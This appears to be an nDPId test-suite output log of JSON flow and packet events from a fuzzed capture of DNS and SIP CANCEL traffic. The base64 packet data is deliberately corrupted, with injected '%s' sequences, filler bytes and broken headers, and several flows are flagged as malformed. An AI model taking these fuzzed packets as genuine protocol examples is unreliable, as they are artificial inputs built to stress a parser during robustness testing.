+00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":246,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":1,"flow_first_seen":1120470083306,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2751,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00492{"flow_id":96,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":246,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470083,"pkt_ts_usec":306558,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARt8vAqAEBwKgBAgA1Cr8AR+yxGsqAAAABAAEAAAAAATEBMCVzADEyNwdpbi1hZGRyBGFycGEAAAwAARoMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":246,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":1,"flow_first_seen":1120470083306,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2751,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":1,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00909{"flow_id":90,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":247,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470083,"pkt_ts_usec":308013,"pkt_caplen":417,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":417,"pkt_l4_len":383,"pkt":"ADBUADRWAODtAW69CABFAAGTaoEAAIARzJjAqAECyER4URPEE8QBf5mcQ0FOQ0VMIHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0IFNJUC8yLjANN1ZpYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI7YnJhbmNoPXo5aEc0YktucDEwNDk4NDA1My00NGNlNGE0MTE5Mi4xNjguMS4yO3Jwb3J0DQpGcm9tOiAiYXJpayIgPHNpcDolcwA2NjZAdm9pcC5icnVyanVsYS5uZXQ+O3RhZz02NDMzZWY5DQpUbzogPHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubkhwPg0KQ2FsbC1JRDogMTA1MDkwMjU5LTQ0NmZhZjdhQDE5Mi4xNjguJXMADQpDU2VxOiAxIENBTkNFTA0KQ29udGVudC1MZW5ndGg6JXMACk1heC1Gb3J3YXJkczogdzANClVzZXItQWdlbnQ6IE5lcm8gU0lQUFMgSVAgUGhvbmUgVmVyc2lvbiAyLjAuNTEuMTYNCg0K"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":248,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":97,"flow_packet_id":1,"flow_first_seen":1120470083310,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2752,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":97,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":248,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470083,"pkt_ts_usec":310624,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaoIAAIARTM\/AqAECwKgBAQrAADUANLk4cMwBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00657{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":248,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":97,"flow_packet_id":1,"flow_first_seen":1120470083310,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2752,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00909{"flow_id":90,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":249,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470083,"pkt_ts_usec":815816,"pkt_caplen":417,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":417,"pkt_l4_len":383,"pkt":"ADBUADRWAODtAW69CABFAAGTaoMAAIARzJbAqAECyER4URPEE8QBf5mcQ0FOQ0VMIHNpcDo5NzIzOTI4NzA0ekB2b2lwLmJydWp1bGEubmV0IFNJUC8yLjANClZpYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI7YnJhbmNoPXo5aEc0YktucDEwNDk4NDA1My00NGNlNGE0MTE5Mi4xNjguMS4yO3Jwb3J0DQpGcm9tOiAiYXJpayIgPHJpcDo4MTY2NjZAdm9pcC5icnVyanVsYS5uZXQ+O3RhZz02NDMzZWY5DQpUbzogPHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0Pg0KQ2FsbC1JRDogMTA1MDkwMjU5LTQ0NmZhZjdhQDE5Mi4xNjguMS4yDQpDJXMAOiAxIENBTkNFTA0KQ29udGVudC1MZW5ndGg6IDANCk1heC1Gb3J3YXJkczolcwANClVzZXItQWdlbnQ6IE5lcm8gU0lQUFMgSVAgKChvbmUgVmVyc2lvbiAyLjAuNTEuMTYNCg0K"} +00466{"flow_id":97,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":250,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470084,"pkt_ts_usec":306084,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaoQAAIARTM3AqAECwKgBAQrAADUANLk4cMwBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":251,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":1,"flow_first_seen":1120470084827,"flow_last_seen":0,"flow_tot_l4_data_len":383,"flow_min_l4_data_len":383,"flow_max_l4_data_len":383,"flow_avg_l4_data_len":383,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"200.68.37.115","src_port":4292,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00909{"flow_id":98,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":251,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470084,"pkt_ts_usec":827100,"pkt_caplen":417,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":417,"pkt_l4_len":383,"pkt":"ADBUADRWAODtAW69CABFAAGTaoUAAIARzJTAqAECyEQlcxDEE8QBf5mcQ0FOQ0VMIHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0IFNJUC8yLjANClZpYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI7YnJhbmNoPXo5aEc0YktucDEwNDk4NDA1My00NGNlNGE0MTE5Mi4xNjguMS4yO3Jwb3J0DQpGcm9tOiAiYXJpayIgPHNpcDo4MTY2ajZAdm9pcC5icnVyanVsYS5uZXQ+O3RhZz02NDMzZWY5DQpUbzogPHNpcDo5NzIzOTI4NzA0NEB2b2lwLmhydWp1bGEubmX0Pg0KQ2FsbC1JRDogMTA1MDkwMjU5LTQ0NmZhZjdhQDE5Mi4xNjguMS4yDQpDU2VhOiAxIENBTkNFTA0KQ29udGVudC1MZW5ndGg6IDANCk1heC1Gb3J3YXJkczogNzANClVzZXItQWdFbnQ6IE5lJXMAU0lQUFMgSVAgUGhvbmUgVmVyc2lvbiAyLjAuNTEuMTYNCg0K"} +00519{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":251,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":1,"flow_first_seen":1120470084827,"flow_last_seen":0,"flow_tot_l4_data_len":383,"flow_min_l4_data_len":383,"flow_max_l4_data_len":383,"flow_avg_l4_data_len":383,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"200.68.37.115","src_port":4292,"dst_port":5060,"l4_proto":"udp","ndpi": {"proto":"SIP","breed":"Acceptable","category":"VoIP"}} +01229{"flow_id":90,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":252,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470085,"pkt_ts_usec":961798,"pkt_caplen":656,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":656,"pkt_l4_len":622,"pkt":"AODtAW69ADBUADRWCABFAAKCAABAAC8RRyvIRHhRwKgBAhPEE8QCbo0fU0lQLzIuMCA0MDggUmVxdWVzdCBUaW1lb3V0DQpWaWE6IFNJUC8yLmJSVURQIDE5Mi4xNjguMS4yOjUwNjA7YnJhbmNoPXo5aEc0YktucDEwNDk4NDA1My00NGNlNGE0MTE5Mi4xNjguMS4yO3Jwb3J0PTUwNjA7cmVjZWl2ZWQ9ODAuMjMwLjIxOS43MA0KRnJvbccgImFyaWsiIDxzaXA6ODE2NjY2QHZvaXAuYnJ1cmqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":253,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":1,"flow_first_seen":1120470085969,"flow_last_seen":0,"flow_tot_l4_data_len":273,"flow_min_l4_data_len":273,"flow_max_l4_data_len":273,"flow_avg_l4_data_len":273,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"200.68.120.81","src_port":4901,"dst_port":29440,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00874{"flow_id":99,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":253,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470085,"pkt_ts_usec":969731,"pkt_caplen":389,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":389,"pkt_l4_len":273,"pkt":"ADBUADRWAODtAW69CABFAAElcwAAAIARzK\/AqAECyER4URMlcwABY9CsQUNLIHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0IFNJUC8yLjANCkZyb206ICJhcmlrIiA8c2lwOjgxNjY2NkB2U2lwLmJydXJqdYVhLm5ldD47dGFnPTY0MzNlZjkNCkNhbGwtSUQ6IDEwNTA5MDI1OS00NDZmYWY3YUAxOTIuMTY4LjEuMg0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjo1MDYwO2JyYW5jaD16OWhHNGJLbnAxMDQ5ODQwNTMtNJ9jZTRhNDExOXkuqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00520{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":253,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":1,"flow_first_seen":1120470085969,"flow_last_seen":0,"flow_tot_l4_data_len":273,"flow_min_l4_data_len":273,"flow_max_l4_data_len":273,"flow_avg_l4_data_len":273,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"200.68.120.81","src_port":4901,"dst_port":29440,"l4_proto":"udp","ndpi": {"proto":"SIP","breed":"Acceptable","category":"VoIP"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":254,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":1,"flow_first_seen":1120470086308,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"102.168.1.1","src_port":2752,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":100,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":254,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470086,"pkt_ts_usec":308978,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRmAODtAW69CABFAABIaocAAIARTMrAqAECZqgBAQrAADUANLk4cMwBAAABAACqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00909{"flow_id":90,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":255,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470086,"pkt_ts_usec":840071,"pkt_caplen":417,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":417,"pkt_l4_len":383,"pkt":"ADBUADRWAODtAW69CABFAAGTaogAAIARzJHAqAECyER4URPEE8QBf5mcQ0FOQ0VMIHNpqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00466{"flow_id":97,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":256,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470088,"pkt_ts_usec":311840,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaokAAIARTMjAqAECwKgBAQrAADUANLk4cMwhAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00910{"flow_id":90,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":257,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470090,"pkt_ts_usec":856381,"pkt_caplen":417,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":417,"pkt_l4_len":383,"pkt":"ADBUADRWAODtAW69CABFAAGTaooAAIARzI\/AqAECyER4URPEE8QBf5mcQ0FOQ0VMIHNpcDoxNzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0IFNJUC8yLjANClZpYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI7YnJhbmNoPXo5aEc0YktucDEwNDk4NDA1My00NGNlNGE0MTE5Mi4xNjguMS4yO3Jwb3J0DQpGcm9tOiAiYXJpayIgPHNpcDo4MTY2NjZAdm9pRC5icnVyanVsYS5uZXQ+O3RhZz02NDMzZWY5DQpUb4AgPHP2cDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0Pg0KQ2FsbC1JRDogMTA1MDkwMjU5LbQ0NmZhZjdhQDE5Mi4xNjguMS4yDQpDU2VxOiAxIENBTkNFTA0KQ29udDRudC1MZW5ndGg6IDANCk1heC1Gb3J3YXJkczogNzANClVzZ3ItQWdlbnQ6IE5lcm8gU0lQUFMgSVAgUGhvbmUgVmVyc2lvbiAyLjAuNTEuMTYNCg0K"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":258,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":101,"flow_packet_id":1,"flow_first_seen":1120470092317,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.98.1.2","dst_ip":"25.168.1.1","src_port":2752,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":101,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":258,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470092,"pkt_ts_usec":317681,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaosAAIARTMbAYgECGagBAQrAADUANLk4cMwBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00656{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":258,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":101,"flow_packet_id":1,"flow_first_seen":1120470092317,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.98.1.2","dst_ip":"25.168.1.1","src_port":2752,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00492{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":259,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":1,"flow_first_seen":1120470084827,"flow_last_seen":0,"flow_tot_l4_data_len":383,"flow_min_l4_data_len":383,"flow_max_l4_data_len":383,"flow_avg_l4_data_len":383,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"200.68.37.115","src_port":4292,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":259,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":1,"flow_first_seen":1120470085969,"flow_last_seen":0,"flow_tot_l4_data_len":273,"flow_min_l4_data_len":273,"flow_max_l4_data_len":273,"flow_avg_l4_data_len":273,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"200.68.120.81","src_port":4901,"dst_port":29440,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00658{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":259,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":1,"flow_first_seen":1120470086308,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"102.168.1.1","src_port":2752,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":259,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":1,"flow_first_seen":1120470086308,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"102.168.1.1","src_port":2752,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":259,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":1,"flow_first_seen":1120470083306,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2751,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":259,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":1,"flow_first_seen":1120470083305,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.18","dst_ip":"192.168.1.1","src_port":2751,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":259,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":101,"flow_packet_id":1,"flow_first_seen":1120470092317,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.98.1.2","dst_ip":"25.168.1.1","src_port":2752,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00909{"flow_id":90,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":259,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470094,"pkt_ts_usec":861859,"pkt_caplen":417,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":417,"pkt_l4_len":383,"pkt":"ADBUADRNAODtAW69CABFAAGTaowAAIARzI3AqAECyER4URPEE8QBf5mcQ0FOQ0VMIHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGGMbmV0IFNJUC8yLjANClZpYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI7YnJhbmNoPXo5aEc0YktucDEwNDk4NDA1My00NGNlNGE0MTE5Mi4xNjguMS4yO3Jwb3J0DQpGcm9tOiVzAHJpayIgPHNpcDo4MTY2NjZAdm9pcC5icnVyanVsYS5uZXQ+O3RhZz02NDMzZWY5DQpUbzogPHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0Pg0KQ2FsbC1JRDogMTA1MDkwMjU5LTQ0NmZhRzdhQDE5Mi4xNjguMS4yDQpDU2VxOiAxIENBTkNFTA0KQ29udGVudC1MZZ1ndGg6IDAzCk1heC1Gb3J3YXJkczogNzANClVzZXItQWdlbnQ6IE5lcm8gU0lQUFMgSVAgUGhvmmUgVmVyc2lvbiAyLjAuNTEuMTYNCg0K"} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":260,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":102,"flow_packet_id":1,"flow_first_seen":1120470098867,"flow_last_seen":0,"flow_tot_l4_data_len":383,"flow_min_l4_data_len":383,"flow_max_l4_data_len":383,"flow_avg_l4_data_len":383,"midstream":0,"l3_proto":"ip4","src_ip":"192.169.1.2","dst_ip":"200.68.120.81","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00910{"flow_id":102,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":260,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470098,"pkt_ts_usec":867648,"pkt_caplen":417,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":417,"pkt_l4_len":383,"pkt":"ADBUADBWAOBxAW69CABFAAGTao0AAIARzIzAqQECyER4URPEE8QBf5mcQ0FOQ0VMIHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0IFNJUC8yLjANClZpYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI7YnJhbmNoPXo5aEc0YktucDEwNKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00520{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":260,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":102,"flow_packet_id":1,"flow_first_seen":1120470098867,"flow_last_seen":0,"flow_tot_l4_data_len":383,"flow_min_l4_data_len":383,"flow_max_l4_data_len":383,"flow_avg_l4_data_len":383,"midstream":0,"l3_proto":"ip4","src_ip":"192.169.1.2","dst_ip":"200.68.120.81","src_port":5060,"dst_port":5060,"l4_proto":"udp","ndpi": {"proto":"SIP","breed":"Acceptable","category":"VoIP"}} 